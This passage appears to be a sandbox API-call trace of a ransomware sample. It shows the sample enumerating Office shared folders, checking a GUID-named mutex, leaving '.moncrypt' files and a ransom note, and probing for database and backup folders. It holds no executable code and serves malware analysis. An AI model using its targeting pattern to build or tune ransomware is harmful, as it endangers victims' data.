[0041.525] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.525] GlobalUnlock (hMem=0x440004) returned 0 [0041.525] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.525] GlobalUnlock (hMem=0x44000c) returned 0 [0041.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0041.525] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0041.525] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0041.525] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.525] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.525] GlobalUnlock (hMem=0x44000c) returned 0 [0041.525] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.525] GlobalLock (hMem=0x440004) returned 0x553188 [0041.525] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.525] GlobalUnlock (hMem=0x44000c) returned 0 [0041.525] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.525] GlobalUnlock (hMem=0x440004) returned 0 [0041.525] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.526] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.526] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0041.526] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0041.526] GlobalLock (hMem=0x440004) returned 0x552180 [0041.526] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.526] GlobalUnlock (hMem=0x440004) returned 0 [0041.526] GlobalLock (hMem=0x440004) returned 0x552180 [0041.526] GlobalLock (hMem=0x44000c) returned 0x554190 [0041.526] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.526] GlobalUnlock (hMem=0x440004) returned 0 [0041.526] GlobalHandle (pMem=0x554190) returned 0x44000c [0041.526] GlobalUnlock (hMem=0x44000c) returned 0 [0041.526] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.526] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0041.526] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0041.526] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0041.526] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.526] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.526] GlobalUnlock (hMem=0x44000c) returned 0 [0041.526] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.526] GlobalLock (hMem=0x440004) returned 0x554190 [0041.526] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.526] GlobalUnlock (hMem=0x44000c) returned 0 [0041.526] GlobalHandle (pMem=0x554190) returned 0x440004 [0041.526] GlobalUnlock (hMem=0x440004) returned 0 [0041.526] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.526] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0041.526] GetLastError () returned 0x12 [0041.526] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0041.527] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.527] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.527] GlobalLock (hMem=0x440004) returned 0x551178 [0041.527] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.527] GlobalUnlock (hMem=0x440004) returned 0 [0041.527] GlobalLock (hMem=0x440004) returned 0x551178 [0041.527] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.527] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.527] GlobalUnlock (hMem=0x440004) returned 0 [0041.527] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.527] GlobalUnlock (hMem=0x44000c) returned 0 [0041.527] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.527] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0041.527] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.527] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.527] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.527] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.527] GlobalUnlock (hMem=0x44000c) returned 0 [0041.527] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.527] GlobalLock (hMem=0x440004) returned 0x553188 [0041.527] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.527] GlobalUnlock (hMem=0x44000c) returned 0 [0041.527] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.527] GlobalUnlock (hMem=0x440004) returned 0 [0041.527] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.527] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0041.527] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.527] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.527] GlobalLock (hMem=0x440004) returned 0x551178 [0041.527] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.527] GlobalUnlock (hMem=0x440004) returned 0 [0041.528] GlobalLock (hMem=0x440004) returned 0x551178 [0041.528] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.528] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.528] GlobalUnlock (hMem=0x440004) returned 0 [0041.528] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.528] GlobalUnlock (hMem=0x44000c) returned 0 [0041.528] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.528] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP.moncrypt", cAlternateFileName="EQNEDT~2.MON")) returned 1 [0041.528] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.528] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.528] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.528] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.528] GlobalUnlock (hMem=0x44000c) returned 0 [0041.528] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.528] GlobalLock (hMem=0x440004) returned 0x553188 [0041.528] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.528] GlobalUnlock (hMem=0x44000c) returned 0 [0041.528] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.528] GlobalUnlock (hMem=0x440004) returned 0 [0041.528] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.528] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bad4480, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3bad4480, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3bad4480, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0041.528] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.528] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.528] GlobalLock (hMem=0x440004) returned 0x551178 [0041.528] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.528] GlobalUnlock (hMem=0x440004) returned 0 [0041.528] GlobalLock (hMem=0x440004) returned 0x551178 [0041.528] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.528] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.528] GlobalUnlock (hMem=0x440004) returned 0 [0041.528] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.528] GlobalUnlock (hMem=0x44000c) returned 0 [0041.529] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.529] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0041.529] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.529] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.529] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.529] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.529] GlobalUnlock (hMem=0x44000c) returned 0 [0041.529] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.529] GlobalLock (hMem=0x440004) returned 0x553188 [0041.529] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.529] GlobalUnlock (hMem=0x44000c) returned 0 [0041.529] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.529] GlobalUnlock (hMem=0x440004) returned 0 [0041.529] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.529] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0041.529] GetLastError () returned 0x12 [0041.529] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0041.529] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0041.529] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.529] GlobalLock (hMem=0x440004) returned 0x550170 [0041.529] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.529] GlobalUnlock (hMem=0x440004) returned 0 [0041.529] GlobalLock (hMem=0x440004) returned 0x550170 [0041.639] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.639] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.639] GlobalUnlock (hMem=0x440004) returned 0 [0041.639] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.639] GlobalUnlock (hMem=0x44000c) returned 0 [0041.639] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.639] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.639] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.639] GlobalUnlock (hMem=0x44000c) returned 0 [0041.639] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.639] GlobalLock (hMem=0x440004) returned 0x552180 [0041.639] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.639] GlobalUnlock (hMem=0x44000c) returned 0 [0041.639] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.640] GlobalUnlock (hMem=0x440004) returned 0 [0041.640] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.640] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO", len=0x33 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO") returned 1 [0041.640] GlobalLock (hMem=0x440004) returned 0x550170 [0041.640] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.640] GlobalUnlock (hMem=0x440004) returned 0 [0041.640] GlobalLock (hMem=0x440004) returned 0x550170 [0041.640] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.640] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.640] GlobalUnlock (hMem=0x440004) returned 0 [0041.640] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.640] GlobalUnlock (hMem=0x44000c) returned 0 [0041.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@褨T裼T企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0041.747] GetLastError () returned 0x3 [0041.747] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.747] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@袔T企@\x18㽜Q\x181")) returned 0xffffffff [0041.747] GetLastError () returned 0x2 [0041.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.748] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@뱔R企@\x18?T\x18;")) returned 0xffffffff [0041.748] GetLastError () returned 0x2 [0041.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.748] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@뭼R企@\x18?T\x18D")) returned 0xffffffff [0041.748] GetLastError () returned 0x2 [0041.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0041.748] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@袔T企@\x18뱔R\x18j")) returned 0xffffffff [0041.748] GetLastError () returned 0x2 [0041.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\ition\\") returned 37 [0041.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@뭼R企@\x18?T\x18q")) returned 0xffffffff [0041.749] GetLastError () returned 0x2 [0041.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\뱐RP") returned 6 [0041.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@⊤R企@\x18?T\x18y")) returned 0xffffffff [0041.749] GetLastError () returned 0x2 [0041.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0041.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@袔T企@\x18?T\x18\x81")) returned 0xffffffff [0041.749] GetLastError () returned 0x2 [0041.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0041.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@뭼R企@\x18?T\x18\x88")) returned 